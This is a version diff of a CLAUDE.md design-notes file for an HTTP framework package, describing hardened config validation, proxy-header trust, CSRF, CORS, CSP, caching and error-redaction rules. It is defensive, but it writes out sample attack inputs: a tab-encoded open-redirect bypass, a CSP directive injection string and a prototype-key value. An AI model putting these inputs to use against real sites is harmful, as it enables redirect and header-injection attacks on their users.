@ultimat3/http 21.0.0 → 22.1.0

package/CLAUDE.md

@@ -4,675 +4,181 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
 
 ## Boundary
 
-- May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0
-  and 1, which is the whole rule. There is no extra restriction here; the line used to read
-  "core, schema. Nothing else, ever", stated no reason, and was stricter than the tier table.
-  **What it bought was three re-implementations.** `locale.ts` carried its own `negotiateLocale`,
-  `isValidTimeZone` and `resolveTimeZone`, and each disagreed with its owner about the same
-  request: an app shipping `{ en, fr }` resolved `ctx.locale` to `'en'` forever, a switcher writing
-  the documented `LOCALE_COOKIE` (`x_locale`) was read by nothing because this package spelled it
-  `x-locale`, and `x-timezone: +01:00` — a fixed offset with no DST rules — became `ctx.tz` and
-  threw four packages later. Adding a tier-1 import is cheaper than a fourth divergence.
-- May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth
-  come in via `ServerHooks` (`hooks.ts`), declared structurally.
-- `@ultimat3/action` (tier 3) is what wires policy into `hooks.authorize`.
-
-## Rules
-
-- **Every numeric knob `defineHttpConfig` resolves is screened, `As of 2026-08-26`** — `port`,
-  `bodyLimitBytes`, `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs` and `trustedProxyHops`,
-  each a whole number in its own domain or `X_CONFIG_INVALID` (core's code, borrowed as
-  `@ultimat3/auth` borrows it). Measured with `NaN`, which is what `Number(process.env.…)` answers
-  for an unset variable: `total > NaN` is false so the body cap stopped capping and the whole
-  payload was buffered; `NaN <= 0` is false so a deadline armed and `setTimeout(fn, NaN)` is 1ms,
-  which 504s every request; `ceiling > 0` is false so `admit` shed nothing; and
-  `Math.max(0, Math.floor(NaN))` is `NaN`, so `trustProxy: true` silently trusted no hop and every
-  caller's ip became the proxy's. `Math.max(0, …)` was the guard for the last of those — a clamp is
-  not a validator, and this package relied on one. `webhook-verify.ts` screens its own two
-  (`toleranceMs`, `maxBytes`) and `rate-limit.ts` its `maxKeys`; the helper names carry `Finite`
-  (`assertFiniteCount`, `assertFiniteKeyCap`, `assertFiniteBodyLimit`) because
-  `bun run finite-bounds` recognises a repair by the shape of the CALL — spelled `count`, all five
-  config options read as unchecked to the ratchet while every one was screened. `maxBytes` is
-  refused HERE as well as inside `readWithinLimit`: that one is a file away and its `fix:` names
-  core's reader rather than the option the caller wrote.
-
-  **The FLOOR is per option, because only the caller knows what zero means** (`As of 2026-08-26`).
-  `requestTimeoutMs: 0` is "no deadline" and `maxInflight: 0` is "never shed" — decisions the code
-  reads — so those two floor at 0; `trustedProxyHops` floors at **1**, and it shipped for one day
-  screened at 0. `forwardedElement` answers `undefined` for `hops < 1`, so
-  `{ trustProxy: true, trustedProxyHops: 0 }` was byte-for-byte the failure the screen's own comment
-  names: `clientAddress` falls back to the socket, one rate-limit bucket for everything behind the
-  ingress, `x-forwarded-proto` untrusted and HSTS never emitted. `-1` and `NaN` were refused for
-  producing exactly that state and `0` was accepted into it. `resolveTrustedProxyHops` owns both
-  refusals — unset is `X_TRUST_PROXY_UNSET`, out of domain is `X_CONFIG_INVALID` — and there is no
-  `?? 0` behind it, because a default of zero reopens the same hole from the other side.
-
-  **`MAX_PROXY_HOPS` is EXPORTED, `As of 2026-08-26`**, and that is the point of it. It was module
-  private, so `@ultimat3/cli`'s `trustedHopsFromEnv` — which screens the same setting arriving as
-  `TRUSTED_PROXY_HOPS` — restated the literal, and one setting came to have two ceilings: that end
-  said 16 while this one said 64, so a deployment behind 20 hops was accepted by the library and
-  refused at boot. `cli` is tier 5 and this is tier 2, so the import is downward and legal. The
-  number lives here because this is where the setting is.
-
+- May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0 and
+  1. Locale and zone negotiation are i18n's and time's, never re-implemented here.
+- May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth come in via
+  `ServerHooks` (`hooks.ts`), declared structurally. `@ultimat3/action` (tier 3) wires policy into
+  `hooks.authorize`.
+
+## Rules — configuration
+
+- **Every numeric knob `defineHttpConfig` resolves is screened** (`port`, `bodyLimitBytes`,
+  `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs`, `trustedProxyHops`) → `X_CONFIG_INVALID`
+  (borrowed). Helpers carry `Finite` (`assertFiniteCount`, `assertFiniteKeyCap`,
+  `assertFiniteBodyLimit`) so `bun run finite-bounds` sees them; `webhook-verify.ts` and
+  `rate-limit.ts` screen their own. **The floor is per option**: `requestTimeoutMs: 0` and
+  `maxInflight: 0` are "off"; `trustedProxyHops` floors at 1. `resolveTrustedProxyHops` owns both
+  refusals (`X_TRUST_PROXY_UNSET`, `X_CONFIG_INVALID`), with no `?? 0` behind it.
+- **`MAX_PROXY_HOPS` is exported** — `@ultimat3/cli`'s `trustedHopsFromEnv` imports it; one ceiling.
 - Route `meta.auth` is required. Never default a route to public.
-- **An app declares its half of `HttpConfig` through `configureHttp()`, and the boot lays its own
-  facts over it** (`As of 2026-08-24`). Until 12.0.0 the entire tuning surface was **unreachable
-  from a shipped app**: `AppConfig` has never had an `http` key, `RuntimeOverrides` carries none,
-  and the only construction any shipped process made was one fixed literal in
-  `packages/cli/src/dev-roles.ts` passing eight boot facts — so `DEFAULT_CORS.origins` was `[]` in
-  every deployment (an SPA on `app.example.com` calling `api.example.com` could not work, ever),
-  `bodyLimitBytes` was 1 MiB for a 4 MB CSV endpoint, `requestTimeoutMs` 30s for a five-minute
-  export, and `rateLimit.buckets` was 120 burst / 2 rps for a bank and a blog alike. Fourteen
-  `fix:` lines told the reader to edit `http.<key>` in `app.config.ts`, which has never held one.
-  It is a registration and not a config key for `configureAuthenticator`'s reason, stated in
-  `hooks.ts`: `@ultimat3/core` is tier 0 and cannot hold this package's types, so an `http` block
-  on `AppConfig` would be a **second declaration** of `HttpConfigInput` in a package that can
-  never check it against this one. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>`,
-  **derived, never listed**: a key the boot always overwrites (`port`, `hostname`, `dev`,
-  `buildId`, `signInPath`, `trustProxy`, `trustedProxyHops`, `rateLimit.scope`) is a type error
-  where an app writes it, rather than a value silently discarded at every boot. `mergeHttpConfig`
-  merges one level down — `security.csp.extend` per DIRECTIVE, because the app's CDN source and
-  the boot's inline-script hash are each the whole answer for something, and either alone breaks a
-  page. `type-pins.ts` holds the other half: a key on `HttpConfig` and not on `HttpConfigInput` is
-  a build error, which `scripts/config-readers.ts` cannot see — that ratchet walks `AppConfig` and
-  asks whether a key is READ, and this is the mirror question.
-- **`asCtx` is a WIDENING the compiler checks, never a cast.** `RequestContext extends Ctx` and
-  `asCtx` is the identity function. It used to be `ctx as unknown as Ctx` over an object that set
-  none of `clock`, `now`, `logger`, `signal` or `services` — so `ctx.now()` threw
-  `TypeError: ctx.now is not a function` on every audited action served over HTTP,
-  `useService()` threw a `TypeError` instead of the `X_SERVICE_MISSING` it exists to raise, and
-  `throwIfAborted()` — the documented cancellation seam — was inert on the one surface where a
-  caller can actually go away. Never reintroduce the assertion: the type error IS the enforcement,
-  and it is a type-pin rather than a `.test.ts` because `tsconfig.json` excludes tests.
-  `ctx.buildId` is core's meaning — the build this PROCESS serves; the CLIENT's claim is
-  `ctx.clientBuildId`, read only by `assertBuild()`.
-
-  **`RequestContext extends Ctx` again, and this file no longer BUILDS a context — it composes
-  one** (`As of 2026-08-24`). `Ctx extends CtxServices`, and `CtxServices` is the seam an app
-  augments (`declare module '@ultimat3/core'`) to declare `ctx.posts` — so in an APP's program
-  every service it declared became a REQUIRED member of `createRequestContext`'s object literal,
-  and this file failed to compile inside `examples/dummy` with `TS2739: missing posts, orgs` while
-  the framework's own gate, which augments nothing, stayed green. The framework cannot set members
-  only the app's boot knows about.
-
-  `createRequestContext` now spreads `createContext()`'s result. Those members arrive WITH the
-  base, so the literal is checked in full and there is **no assertion left in this file** —
-  `withServices`, which existed for one release, is gone. `packages/core/src/context.ts` keeps the
-  framework's one irreducible `as Ctx` and its header states, with the four measured alternatives,
-  why it cannot be removed below a major.
-
-  Composing is also one constructor for one shape instead of two. This file used to re-derive
-  `clock`, `now`, the logger child, `signal`, `deadlineAt` and the service bag, so core could fix
-  any of them and this surface would keep the old answer — which is exactly what happened to the
-  bag (see the bullet below). `defineService` factories now install here too, for the same reason:
-  they are `createContext`'s, and this is `createContext`.
-
-  `type-pins.ts` carries `_RequestContextIsACtx`, because `asCtx` is a function body and a future
-  edit answering a failure there with a cast would delete the enforcement and leave the comment.
-  The reverse direction is FALSE by design — core's `Ctx` carries no `requestHeaders`, which is
-  what `assertInRequest` proves one way at runtime.
-- **`defineService` used to be a job-and-CLI feature, and nothing said so** (`As of 2026-08-24`).
-  Two halves, and together they made services unreachable on the surface an app spends its life
-  on. This file built its own service bag from `RequestContextInit.services` alone and never
-  called core's `installedServices()`; `pipeline.ts:224` passes NO `services` at all. So a
-  `defineService('posts', …)` an app registered at boot was installed for a job, a task and a CLI
-  command and for nothing else — over HTTP `ctx.services` was `{}` and `useService('posts')` threw
-  `X_SERVICE_MISSING`. And the bag, even when one was passed, was never spread ONTO the context,
-  so `ctx.posts` — the spelling `docs/architecture/15-adding-a-feature.md` writes in its worked
-  example — read `undefined` beside a populated `ctx.services`.
-
-  Composing `createContext` fixes both at once, which is the argument for composing: the installer
-  is core's and so is the spread. Services go on FIRST so a service an app named `actor` or
-  `logger` loses to the request's own field and stays reachable as `ctx.services['actor']`; the
-  context's meaning never depends on what an app named a service. `context.test.ts` pins the
-  factory install, the spread and the collision order.
-- **A member's saved locale and zone apply, re-resolved after `auth`** (21.0.0). The `locale`
-  stage runs before `auth`, so it resolved from the cookie and `Accept-Language` alone and the
-  `user` rung of `resolveLocale` / `resolveTimeZone` was filled by nothing since 2.0.0. Core's
-  `Actor` now carries `locale?` / `tz?` (the saved preferences, set by whoever authenticates), and
-  the `auth` stage re-runs `resolvePreferences` when either is present — the owners' order, so a
-  locale cookie still beats a saved locale and a saved zone beats the cookie. `member-preferences.test.ts`.
-- **A request's registered services are LAZY and bound to the actor that authenticated**
-  (`request-services.ts`, 21.0.0). The context is built before the `auth` stage names anyone, and
-  core's constructor built every `defineService` factory right there — so every service acted as
-  the anonymous actor for the whole request while `ctx.actor` read the real one: the reference
-  app's like answered 500 `X_ORG_NOT_A_MEMBER` for a member. `createRequestContext` passes core
-  `installServices: false` and `bindRequestServices` turns `ctx.services` and each registered
-  `ctx.<name>` into getters: built on first read, rebuilt only if the actor, locale or tz it closed
-  over changed. One build for a handler; a hook that reads a service before auth gets its own.
-  `request-services.test.ts` drives the real pipeline. Pre-existing since 13.0.0.
-- **The two inbound ids are read BEFORE the context and the span, in `correlation.ts`.** `startSpan`
-  resolves its parent from `currentSpanContext()`, which reads `ctx.traceId`, so a `traceparent`
-  parsed by a stage arrived one frame after the span's context was already frozen: the caller's
-  trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
-  and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
-  PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
-  **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
-  is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
-  everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
-  `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
-  between two Ultimate services under the default `trustProxy` (false), for a value that carries
-  correlation and no authority. Never "fix" the inconsistency by gating it.
-- **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
-  `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
-  every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
-  internet, and one scanner enough to 429 every signup on the fleet. The entry read is
-  `entries.length - hops`, never `[0]`, which is whatever the client typed; a chain shorter than
-  declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
-  requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
-  `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
-  The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
-  `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
-  TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
-  **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
-  so `ctx.peer` is `null` for an untrusted deployment, a missing header and a short chain alike.
-  `ctx.peer` is never an actor: `hooks.authenticate` is the one funnel, through
-  `verifyWorkloadToken()` -> `actorFromService()` in `@ultimat3/auth`.
-- **One deadline per request, and it is what makes `ctx.signal` exist.** `deadline.ts` holds the
-  `AbortController` and the timer; `config.requestTimeoutMs` (30s, `0` disables) is the budget and
-  a caller may SHORTEN it with `x-request-timeout-ms`, never lengthen it. Two halves, both needed:
-  the abort is what cooperative code unwinds on, and the race in `execute` is what answers the
-  socket when a handler never looked at the signal. `X_TIMEOUT` is borrowed (core's concept) and
-  already mapped to 504. **`ctx.signal` is the deadline OR the caller going away**, `As of
-  2026-08`: `pipeline.ts` hands `startDeadline` the inbound `Request.signal` and the two are joined
-  with `AbortSignal.any`, which is what `context.ts` had documented and nothing wired — a closed
-  tab held its handler, its pool slot and its vendor connection for the whole 30s. `expired` stays
-  the timer's alone: it answers the SOCKET, and a caller that hung up has no socket to answer.
-  **And it leaves this process on the next hop's headers, `As of 2026-08-24`**:
-  `Deadline.deadlineAt` is published as core's `ctx.deadlineAt`, and `traceHeaders()` (tier 0, the
-  one thing both typed clients spread before the caller's own headers) sends what is LEFT as
-  `x-request-timeout-ms`. Before that the header had exactly one reader — `resolveTimeoutMs`, in
-  this file — and **zero writers anywhere in the tree**, so gateway → A (30s) → B meant a call made
-  at t=29 started B on a FRESH 30s: real work, holding a pool slot and a vendor connection, half a
-  minute after A's socket was answered `X_TIMEOUT`. A spent budget sends no header at all rather
-  than `0`, because `resolveTimeoutMs` ignores anything under 1ms and falls back to its own.
-  With `requestTimeoutMs: 0` the caller's signal is handed through as-is rather than the shared
-  never-aborted singleton, which every such request used to share — one `abort` listener per
-  request, accumulating for the life of the process. Always `deadline.clear()` in the `finally` —
-  a live timer keeps the event loop from going idle, so a process that answered everything still
-  refuses to exit.
-- **`admit` is the second stage, and it refuses before ANY work.** `isDraining()` had no reader in
-  this package while this file claimed the layer answered 503 on it; past `config.maxInflight`
-  (1000, `0` disables) a request is shed `X_OVERLOADED` with `retry-after`. Both set the header on
-  `ctx.headers`, which the `response` stage merges, rather than teaching `error-map` a second
-  special case. The in-flight number is core's `inflightCount()` — the same counter `beginWork()`
-  in `server.ts` maintains — never a private one, for the same reason the drain phase is core's.
-  A refusal that costs as much as a served request is not load shedding.
-- **`csrf` sits after `auth` and before `body`, and CORS cannot replace it.**
-  `application/x-www-form-urlencoded` is a CORS-*simple* content type, so a cross-site
-  `<form method="post">` is SENT and EXECUTED with the session cookie attached and
-  `cors.origins: []` only withholds the reply — long after the refund went through. After auth
-  because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
-  before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
-  `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
-  `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
-  `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
-  2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
-  (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
-  read as "this origin is one we allow": every origin on the internet was same-origin, and the
-  cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
-  origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
-  TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
-  double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
-  token mode is worse than an honest `'origin' | 'off'`.
-- **An unclassified 5xx tells the CALLER nothing off the throwable** (`As of 2026-08-23`).
-  `error-page.ts` has always shown a browser the status, the code and the request id and said so in
-  its header; `toProblem` rendered `facts.cause`, which for a 500 nobody classified falls through to
-  the exception's own `message` — a driver's DSN, the row Postgres rejected, an absolute path. One
-  condition, two audiences, and they disagreed. The discriminator is a code nobody declared a status
-  for, plus `X_INTERNAL` itself: core's `toError()` wraps a caught value into an `InternalError`
-  whose cause is `renderCauseValue(value)`, so the framework's own word for "unclassified" is where
-  the leak arrives. `toProblem(error, { dev })` is the seam and `dev` DEFAULTS TO FALSE: the
-  `error-map` stage is the one call site that can see the config, and every degraded `problem()` in
-  the tail must stay opaque. The real text is not lost — it is the log field and the error report,
-  both keyed by the request id the caller was given.
-- **The problem document carries the ISSUE LIST, and the opacity rule applies to it**
-  (`As of 2026-08-24`). `ProblemDocument.issues` is a top-level extension member — RFC 9457 §3.2
-  puts extension members at the document root and every Ultimate extension already is one
-  (`code`, `cause`, `fix`, `docs`, `requestId`); there is no bag. `@ultimat3/action` has attached
-  the list to `meta.issues` since `InputInvalidError` grew its third parameter and **nothing
-  carried it**, so every app in this framework recovered per-field form errors by splitting
-  `cause` on `'; '` — guesswork the moment a message contains the separator.
-
-  Four rules, and the third is the one most likely to be dropped by a later edit.
-  `issuesOf` is TOTAL and module-private, written in `retryAfterOf`'s shape and for its reason:
-  `meta` is a property read on a value this package did not build, in the frame that decides what
-  the caller sees. It is **all-or-nothing** — a client that finds `issues` uses it INSTEAD of
-  `cause`, so one unreadable entry drops the whole list back to the prose line rather than
-  shipping a subset, which would be a rejection the user never sees and a form reporting itself
-  valid. The member is **absent** when there is none, never `undefined` and never `[]`:
-  `JSON.stringify` drops an `undefined`, but this interface is read directly by `error-page.ts`
-  and by tests, and `[]` claims "validated clean" about a request that was just refused — which
-  the first implementation of this reader emitted, because `Array.isArray([])` is true and the
-  loop simply does not run. A list past `MAX_PROBLEM_ISSUES` (100) is dropped WHOLE for the same
-  all-or-nothing reason, and because `@ultimat3/action`'s `issuesFromWire` bounds it identically
-  on arrival: sending it is a body that costs the wire and answers nothing. That package is tier 3,
-  so the number is restated here and pinned on this side. And it is **dropped under exactly the condition
-  that blanks `title`/`detail`/`cause`** — an issue list on an unclassified 5xx is precisely the
-  internal detail `INTERNAL_CAUSE` exists to withhold, because it names the fields and the
-  expectations of something the caller was never meant to see inside. `X_INPUT_INVALID` is a
-  declared 4xx and so is never opaque.
-
-  `received` is forced to `''` and every entry is rebuilt member by member, never spread. Not
-  redundancy with `toValidationIssues`, which forces the same thing: this is the boundary where
-  the value LEAVES the process, a conforming library's own issue object is first-class here and
-  routinely carries the rejected value, and `@ultimat3/schema`'s `describeValue` exists because a
-  password-strength rule once wrote mistyped passwords into the log index.
-- **A rejected value is a log FIELD, never part of the message.** `logger.emit()` redacts `bound`,
-  `contextFields` and `fields` — and never `msg` — so `logger.error(\`${code}: ${cause}\`)` in the
-  `error-map` stage wrote a rejected password verbatim into the log store, at 4xx, which is logged
-  and not reported and therefore kept for the full retention. The message is the CODE alone. The
-  other half is `@ultimat3/schema`'s `describeValue` (shape, never content) and it is the
-  load-bearing one; this half is what makes the value redactable at all.
-- **A repeated field is a LIST, in all three parsers.** `collectFields` in `request.ts` is the one
-  collector for the query, `application/x-www-form-urlencoded` and `multipart/form-data`. The last
-  two were `Object.fromEntries`, which keeps the LAST value: a checkbox group posting `tags` three
-  times reached the body schema as one string, while the query parser three functions up had built
-  an array for the same shape since it shipped.
-- **A rejected BODY is not a log field either — `bodyInvalid`'s `issues` may name only what the
-  framework chose** (`As of 2026-08-19`). `request.ts` built `could not parse ${type}: ${String(error)}`,
-  and the runtime's `SyntaxError` quotes the token it choked on: a `POST` of
-  `{"password": hunter2SuperSecret}` answered `422` with that identifier in `cause`, which goes to
-  the CALLER through `toProblem` and to the log store as the unredactable field `cause`. Two rules,
-  both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
-  JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
-  the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
-  renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
-  `bun run error-render` cannot see this class of defect, because a `catch` binding is not a
-  parameter, so it is a review rule here and a blind spot there.
-- **`meta` reaches the document only by declaration — per code, per key, app codes only**
-  (`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
-  there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
-  paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
-  an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
-  had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
-  X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
-  in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
-  plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
-  are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
-  reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
-  `opaque` condition that blanks `cause`, which is also the belt on "both registrations are
-  needed": a code with keys and no status is unclassified. The typed client
-  (`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
-  the four members that class owns.
-- **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
-  One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
-  stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
-  framework that guessed `/signin` would send an app spelling it `/login` to a 404 — strictly
-  worse than the JSON. The round trip is `?next=`, and `nextAfterSignIn` is the ONE reader of it:
-  anything that is not a same-origin path falls back, or the page that hands out a session
-  becomes an open redirect. **A control character is an off-site destination**: a browser deletes
-  TAB, CR and LF from a `Location` before parsing it, so `/%09/evil.test` decodes to a value that
-  starts with one slash, passes a prefix check and is then followed as `//evil.test`. The prefix
-  checks are not the last word — the value is re-parsed against an origin no relative path can
-  reach, and anything that resolves off it falls back. Nothing here throws either: `?next=%` is a
-  bare `URIError`, and this runs while the pipeline is already rendering a 401.
-- **The body cap is enforced while reading, never after.** `UltimateRequest.#read` pulls the body
-  through a counting reader and cancels the stream the moment the running total passes
-  `bodyLimitBytes`. `content-length` is a courtesy — a `transfer-encoding: chunked` request
-  declares none, so `arrayBuffer()` allocated a 10GB payload in full before measuring it. Multipart
-  goes through the same capped bytes (re-parsed by `Response.formData()` off the announced
-  boundary) rather than being handed to the runtime as an unbounded stream, which is what left it
-  with no byte guard at all when the length was undeclared.
-- **The `cache-headers` stage is the ONE owner of the final cache answer, `As of 2026-08-23`.** It
-  used to apply the actor-aware default only when nothing had set a header — and every page route
-  in every app sets one, because `@ultimat3/render`'s `ssrHeaders` writes
-  `public, max-age=0, s-maxage=30, stale-while-revalidate=300` for any route that declares no
-  `policy`, which is exactly what `x g route --surface app` scaffolds. So the rule below was
-  unreachable for the surface it was written for. A render mode states the MODE's intent; this
-  stage decides, and `offersSharedCache` is the discriminator: a shared answer for an identified
-  request becomes `PRIVATE_CACHE`, an anonymous one gains `SHARED_CACHE_VARY`. `immutable` is left
-  alone in both directions — it asserts the body is a function of the URL, which is what a
-  content-addressed island chunk is, and demoting those would re-download every chunk on every
-  navigation for every signed-in user.
-- **The cache default reads the ACTOR, not just the route, and `vary` is added and never set.**
-  `meta.auth` is only `'public' | 'required'`, so the page that greets a signed-in visitor by name
-  is a `'public'` route: keying the default off the route alone put that visitor's personalised
-  HTML in a shared cache for 60 seconds. A request whose actor is not anonymous is `private`;
-  an anonymous one stays shared-cacheable and carries `vary: accept-language, cookie`. Both halves
-  are required — either alone leaves the hole. `addVary` (`response.ts`) is how the `response`
-  stage merges CORS's `vary: origin` into the cache stage's key instead of replacing it.
-- **A `security.csp.extend` entry is refused at `defineHttpConfig` unless it can only emit the
-  directive it names.** A directive name and a source both go into the header VERBATIM and the
-  header's own separators are `;` and ` `, so `extend: { 'x; script-src *': [] }` was not one badly
-  named directive — it was a second directive nobody declared, widening the one this package locks
-  down hardest. `X_CSP_DIRECTIVE_INVALID`, at boot, because there is no encoding for a CSP source
-  and escaping one at emission time is not a repair. `buildCsp` builds through a **`Map`** for the
-  other half of the same class: `directives[name]` was a computed read of an object literal keyed by
-  a caller-chosen name, so `extend: { toString: [...] }` spread a function off `Object.prototype`
-  and threw a bare `TypeError` at boot. `proto-index` cannot see it — `baseline()` is what produces
-  the object.
-- **`config.drainTimeoutMs` is `number | null`, and `null` is the default** (`As of 2026-08-23`).
-  `createServer` calls `configureLifecycle({ deadlineMs })` only when an app DECLARED one. It used
-  to call it unconditionally with a value `defineHttpConfig` had defaulted to 15s, so an app that
-  wrote `configureLifecycle({ deadlineMs: 600_000 })` — the edit `X_SHUTDOWN_TIMEOUT`'s own `fix:`
-  prints — had it silently reverted by the next line of boot, in every process that serves web.
-  "Nobody said" and "the app said 15 seconds" are different claims and only one of them may move a
-  process-global deadline.
-- **`cors.origins: ['*']` with `credentials: true` is refused at `defineHttpConfig`.** No browser
-  accepts that pair, and `allowedOrigin` answering `null` for it meant the natural "open it up"
-  edit emitted no CORS headers at all, silently, on every request — with `DEFAULT_CORS.credentials`
-  (true) as the half nobody thinks to look at. `X_CORS_CONFIG_INVALID`, at config time, with the
-  one-line edit in the `fix`. A REFUSED origin still gets `vary: origin`: without it a shared cache
-  files the un-CORS'd body under the URL alone and hands it to an allowed origin next.
-- **HSTS is emitted only when https is affirmed.** `securityHeaders(config, { https })` defaults to
-  NOT sending it — the pipeline is the one caller that knows, and it passes `ctx.https`. The guard
-  read `!== false`, so every other caller sent a two-year `includeSubDomains` for a connection
-  nothing had established was secure, which is the opposite of what the comment above it promised.
-- **`meta.enforcedBy` says who evaluates `meta.policy`, and the `authz` stage obeys it.**
-  `'pipeline'` (the default, and what a page wants) means the stage decides through
-  `hooks.authorize`; `'handler'` means the handler is the one evaluation and the stage returns
-  without deciding — no hook required, and none consulted. An action route says `'handler'`
-  because `@ultimat3/action`'s `invoke` loads the row a row-level rule reads and this stage
-  cannot. Deciding in both places is two authz systems, and the one that answers first is the
-  one holding less.
-- **A 403's `fix:` names the POLICY, never the pathname** (`As of 2026-08`). `forbidden` emitted
-  `x policy explain ${ctx.url.pathname}`, and `x policy explain` resolves a policy SUBJECT — a
-  permission, an action name or a query name. A page pathname is none of them, so the one command
-  the error told the reader to run exited `X_DECLARATION_UNKNOWN` (`x policy explain /settings`,
-  reproduced in `examples/dummy`). The third argument is `route.meta.policy`, which is what the
-  `authz` stage was evaluating and what the index can resolve; anything that is not a bare
-  `resource:verb` — a composite renders `and(a:b, c:d)` — degrades to `x routes --json`, the shape
-  `bodyInvalid` already uses. A fix that names the wrong thing is not a fix.
-- **`ctx.actor` is never null.** `asCtx` publishes the request context itself as core's `Ctx`,
-  and `Ctx.actor` is an `Actor` — so "nobody" is core's anonymous actor, not `null`. The
-  `authenticate` hook still says it with `null`; the `auth` stage is where that becomes
-  `anonymousActor()`. A null here reaches every `ctx.actor` reader in the framework as a contract
-  violation that only shows up on the first unauthenticated request.
-- **The lifecycle is three files, and the split is by responsibility, not by length.** `pipeline.ts`
-  owns the ORDER (`PIPELINE_STAGES`, the phases, the run loop, ALS, the span and the one metrics
-  call); `stages.ts` owns what each stage does and declares the vocabulary (`StageName`,
-  `StageRun`, `Stage`) beside the implementations it names; `finalize.ts` owns the promise that the
-  tail answers rather than rejects. Imports go one way — `pipeline.ts` → `stages.ts` — because a
-  stage body reads `StageRunnersInput`, an explicit list of what a stage may depend on, and never
-  `PipelineDeps`. Adding a stage means an entry in **both** `PIPELINE_STAGES` and the
-  `Record<StageName, StageRun>` table; the record type is what makes forgetting one a build error.
-- Never add a stage to `PIPELINE_STAGES` without a `why` and a test.
-- **The `locale` stage decides WHERE, the owners decide WHAT.** It reads a header and a cookie and
-  hands the raw strings to `@ultimat3/i18n`'s `resolveLocale` and `@ultimat3/time`'s
-  `resolveTimeZone`; it must never negotiate, validate or canonicalize one itself. The two answers
-  land on `ctx.locale` and `ctx.tz` — **core's own declared fields, the framework's only ambient
-  store for either** — so `currentLocale()` and `currentTimeZone()` answer for this request once
-  `pipeline.ts` publishes the context into the ALS. `@ultimat3/time` kept a second store
-  (`ctx['timeZone']`) with zero writers until 1.3.0, and the whole cost was silent: every
-  `@ultimat3/ui` server render formatted its dates in UTC however the request arrived. A default
-  for either value is `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never a
-  third copy in `HttpConfig`.
-- **`toBucket` lives here, not in `@ultimat3/action`.** `action` and `query` are the same tier and
-  can never import each other, so the only conversion between `{ limit, windowMs }` and a `Bucket`
-  sitting in one of them is why a `query` could not declare a rate limit at all. It is beside
-  `Bucket` and the maths it validates, and it throws http's own `X_RATE_LIMIT_INVALID`.
-- **`ERROR_STATUS`'s keys are LITERAL, not an index signature** (`As of 2026-08-19`). The
-  annotation was `Readonly<Record<string, number>>`, which made `ERROR_STATUS.X_QUERY_NOT_PAGABLE`
-  a legal read answering `undefined` — a mistyped row in the one table the framework's whole error
-  contract rests on. It is now an object literal `satisfies Readonly<Record<string, number>>`, so a
-  typo is a compile error; `error-map.test.ts` pins that with a `@ts-expect-error`. Read it by a
-  code the framework did not mint through `statusFor()`, which goes via the file-local `BY_CODE`
-  view and keeps `Object.hasOwn`.
-- **A problem document's `type` and its `docs` are two different questions, `As of 2026-08-23`.**
-  Both used to be `https://ultimate.dev/errors/<code>` — one string, twice, and a host that
-  answers **404** on every 4xx and 5xx this package has ever rendered. `docs` is now core's
